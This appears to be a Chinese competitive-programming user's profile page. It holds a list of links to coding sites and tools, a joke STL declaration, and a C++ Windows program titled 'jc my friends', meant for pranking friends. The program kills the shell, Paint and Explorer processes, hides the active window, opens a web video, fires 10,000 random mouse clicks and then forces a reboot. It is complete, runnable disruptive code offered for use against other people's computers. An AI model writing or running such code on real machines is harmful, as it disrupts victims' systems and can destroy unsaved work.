$\texttt{STL}$ 大法好

map<queue<priority_queue<vector<set<list<multiset<multimap<int,stack<int>>>>>>>>,deque<set<pair<bitset<64>,unordered_map<int,unordered_set<int>>>>::iterator>>mp;

百度翻译

人教官网

图论编辑器

文本对比

通项公式

矩阵乘法模拟

骗分导论

$big\_number$

$STL$详解

$DP$详解

折线统计图

$LATEX$

$OI$试炼场

【模版】

$jc$ $my$ $friends$

#include <windows.h>
#include <bits/stdc++.h>
void jc()
{
	int x = rand() % 1920, y = rand() % 1080;
	SetCursorPos(x, y);
	mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
	mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
}
int main()
{
	srand(time(0));
	system("taskkill /f /im cmd.exe");
	system("taskkill /f /im mspaint.exe");
	system("taskkill /f /im explorer.exe");
	HWND hwnd = GetForegroundWindow(); 
	if(hwnd) ShowWindow(hwnd, SW_HIDE);
	system("start https://vdse.bdstatic.com//192d9a98d782d9c74c96f09db9378d93.mp4");
	for(int i = 1; i <= 10000; i++) jc(); 
	system("shutdown /r"); 
}

$CodeForces$

$AtCoder$

$SPOJ$

$Luogu$

$oiClass$